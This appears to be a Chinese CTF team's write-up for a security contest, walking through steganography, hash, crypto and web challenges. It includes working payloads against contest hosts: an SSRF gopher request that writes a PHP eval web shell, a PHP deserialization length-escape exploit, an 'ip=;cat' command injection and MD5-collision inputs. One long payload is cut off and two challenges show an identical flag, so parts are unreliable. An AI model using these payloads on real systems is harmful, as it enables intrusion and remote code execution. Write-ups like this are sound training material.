鸿鹄战队 WRITEUP
一、战队信息
战队名称:鸿鹄
战队排名:105
二、解题情况
0x01 签到
打开题目直接得到 flag
flag 值:flag{welcome_to_qwb_S4}
0x02 问卷调查
做完问卷得到 flag
flag{Welc0me_tO_qwbS4_Hope_you_play_h4ppily}
0x03 MISCSTUDY
Part1
流量审计
审计流量,我们发现有一个 GET 请求。
于是顺藤摸瓜,我们找到了第一关的口令,并拿到了 flag 的第一部分。
http://39.99.247.28/fonts/1
得到部分flag{level1_begin_and_level2_is_come
继续审计,我们发现可以用上一步得到的 sslkey.log 进行解码。
通过分析解码后的流量,我们发现了新的 GET 请求。
于是继续顺藤摸瓜,并拿到了一张图片。
https://www.qiangwangbei.com/images/4e5d47b2db53654959295bba216858932.png
自此,第一部分结束。
Part2
HEX 分析
得到图片后,我们第一时间查看了 HEX,发现第八至第十一个 IDAT 块异常。
从第十一个区块中,得到一串符合 Base64 加密规则的字符,通过解密得到了 flag 的第二部分。
Part3
level3_start_it
返回上一步,我们继续分析第八到第十个区块。使用 Excel 可以更好地比较数据间的规律和细节差异。
由于 4D 在不断重复,我们选择直接删除这一区块,这是我们发现剩余 HEX 数目为 3600 ——这恰好是 60 的平方——于是我们推测,接下来的过程与二维码相关。通过数据的清洗,我们得到了二维码并获得了通往下一关的口令:链接:https://pan.baidu.com/s/1wVJ7d0RLW8Rj-HOTL9Shug 提取码:
1lms 自此,HEX 文件分析告一段落。
图片隐写——Steghide 我们自上述链接中获得了 level4,经检测,我们发现该文件存在 Steghide 加工痕迹,因此我们使用 Stegbreak 进行了爆破,并得到密码 power123。
经过解密,我们得到了 flag 的第三部分及通往下一关的口令:https://pan.baidu.com/s/1o43y4UGkm1eP-RViC25aOw mrpt。
level4_here_all
压缩包解密——CRC32 碰撞我们自上述链接中获得了 level5-7,并直接得到了 flag 的第三部分。
Part4
level5_is_aaa
在 level6 中存在三个文件,分别只有 5、4、5 字节,因此我们尝试对 CRC32 进行爆破,并最终得到这三个文件的内容:“level”、“6_is”、“ready”。
拼接后我们得到了 flag 的第五部分:
level6_isready
Part5
压缩包解密——明文攻击
在之前的链接中,我们同时得到了一个“冗余文件”,经检查,我们认定此文件与 level7
中的文件为同一文件,因此我们使用了明文攻击。
Part6
图片隐写——盲水印
解开的压缩包后,我们得到了两张看似一模一样的纯黑色图片,但是文件大小有轻微的差别。经过异或,我们发现有纵横纹路,于是认定为大概率为盲水印。
level7ishere
根据结果,我们得到了 flag 的第五部分及通网下一关的口令:http://39.99.247.28/final_level
Part7
静态网页隐写
进入最后一关,发觉 MISC 竟然变成了 WEB,急忙向队友求助。众人集思广益,也没讨论出什么结果。
回溯之前的种种经历,突然发掘最后一关极有可能依然是隐写,所有的图片都经过了粗略的审计后,我们认定为本关就是传说中的 html 隐写。
通过代码审计,我们轻易地发现了一语双关的密码:no one can find me,并通过 snow 得到了最后一片 flag:
the_misc_examaaaaaaa_!!!}
flag 值:
flag{level1_begin_and_level2_is_comelevel3_start_itlevel4_here_alllevel5_is_aaalevel6_isreadylevel7isherethe_misc_examaaaaaaa_!!!}
0x04 Funhash
操作过程:
第一关是 0exxx 的 md4 之后 0exxx
0e251288019
0e874956163641961271069404332409
0e898201062
0e554290472281246806387669628377
第二关是原文不同,md5 相同
第三关是 md5 之后的值,16 进制解密之后是 'or'
Payload:
?hash1=0e251288019&hash2=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b %60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92 %0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d %bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6 %ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1 %8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3 %3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02 %82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95 %77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05 %d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%6 8%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96% 1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5 %76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5 %d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62 %fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f %61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd %f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95 %ab&hash3=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90 %68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67 %64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06 %46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e %09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d %ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70 %71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36 %95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc %4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c 4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35% 5a%54%97%08%0d%54%78%4
Flag 值:
flag{y0u_w1ll_l1ke_h4sh}
0x05 half_infiltra
操作过程:
1.写 shell; Payload:
http://39.98.131.124/ssrf.php?we_have_done_ssrf_here_could_you_help_to_continue_it=gopher://127. 0.0.1:40000/_POST%20%2f%253F%20HTTP%2f1.1%250d%250aHost%3A%20localhost%3A40000 %250d%250aCookie%3A%20PHPSESSID%3D icqf82ad306214dc6dccc53a55c5848d%3B%250d%250aConnection%3A%20close%250d%250aConte nt-Type%3A%20application%2fx-www-form-urlencoded%250d%250aContent-Length%3A%2095%2 50d%250a%250d%250afile%3Dphp%253A%252F%252Ffilter%252Fconvert.base64-decode%252Fre source%253Daaaa.php%26content%3DJTNDJTNGJTNEZXZhbCUyOCUyNF9QT1NUJTVCMCU1 RCUyOSUzQiUzRiUzRQ==
2. 用 gopher 协议连;Flag 值:
flag{7815696ecbf1c96e6aa4b779456d3wee}
0x06 侧防
Flag值:
flag{QWB_water_problem_give_you_the_score}
0x07 upload
操作过程:下载后是个流量包打开发现存在图片导出
打开发现一张图片
这个地方改成 根据软件stegdetect 检测提示使用steghide软件分离出flag参考链接:
https://blog.csdn.net/weixin_43921596/article/details/86654754
密码为弱密码:123456 即可看到 flag
Flag 值:
flag{te11_me_y0u_like_it}
0x08 Web辅助
题目主要考察反序列化,和反序列化字符长度逃逸。
下载源代码然后开始审计发现class.php文件下的
触发KS方法,就可以执行 系统命令 cat /flag
代码审计发现逻辑如下new topsolo -->new midsolo-->new jungle
逻辑大概是将序列化的内容存储到caches里,然后再 play.php 里面 unseiliaze
需要对内容处理,造成反序列化的长度逃逸
构造payload如下
?username=\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0 \0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0\0*\0&password=;"aaaaaaaaaaaaa aa";s:8:"*admin";O:7:"topsolo":2:{S:7:"\00*\00\6e\61\6d\65";O:7:"midsolo":1:
{S:7:"\00*\00\6e\61\6d\65";O:6:"jungle":1:{S:7:"\00*\00\6e\61\6d\65";N;}}}
然后访问play.php 得到
flag:flag{6ac02a80-e94b-4b0c-ad7b-81c57a5c6e07}
0x09 baby_crt
根据题目给的
题目中给到的是 m、n、S,可以可穷举出c1的值,进而可以利用exp计算得到gcd解出本题
from random import randint from Crypto.Util.number import getPrime, long _to_bytes, getStrongPrime from hashlib import sha1 import libnum m = 262754933207060261441969663988861968338151704138077058052877634130131009628 317037746403327655038380874349048356579882760646603044278029616091859979646654 408674169007111285178592675046576271605987002486897380452431421114891796733758 193087795352472146606942116987994610443543522009503093923218610219209682003343 441318932598504682149012662080904692658097295142491439380435215796782347546700 970562815568618055680966574159748055782991964403627919074088889589170636688672 082573700993240848407424357859606818016251806113249489536576667421950514926106 13830629731633827861546693629268844700581558851830936504144170791124745540 n= 2631835838225821577082777076338460335952444456614613403927206520665713551349 689732198392065224218211247948413534343620681572260575655709824188723383724851 903187944474092278935135613832294710834683395640564757883887342565840551319243 747935953179069792428588950566676958017643136050622750606413203462112382809048 060605587742548073995080910904817797688482558902344490195352991358528814329154 418118381022755389197391596095152615446934458708329564003487687431861099115305 846281136961555547057146951747286546950202503054845129690985766766996372036629 0084062470583318590585472209798523021029182199921435625983186101089395997 S= 2015294136912288841413007500284576404691272747171683985467128025584579892873 810382459533988534540541994335421545659838122851913190269837322579533964930035 936311975460569832105233473147712743379696410763310960870603011119715670160737 908676694409606664932336797678638301510668189647944683541914322583232097853055 439985107418076230832209233972183956664214490886453046601761473167952539225979 651178962408022858708062145408495716919334372451586746817824240235674188489073 98732506589604384502871594394577301270745639915130300914567719068537810281598521 7466498315359846665211412644316716082898396009119848634426989676119219246 e = 65537 for c1 in range(1,65536): if libnum. gcd(pow(m, c1, n) -pow(S, e, n), n) ! = 1: print sha1(long _to_bytes(n / (libnum. gcd(pow(m, c1, n) -pow(S, e, n), n)))) .hexdigest()
flag 值:flag{601cb6f6d990ed5b89cf0de60508a95c07543793}
0x10 主动
一个非常签到的命令注入
view-source:http://39.96.23.228:10002/?ip=;cat%20`ls`
得到 flag
Flag 值:flag{7815696ecbf1c96e6aa4b779456d3wee}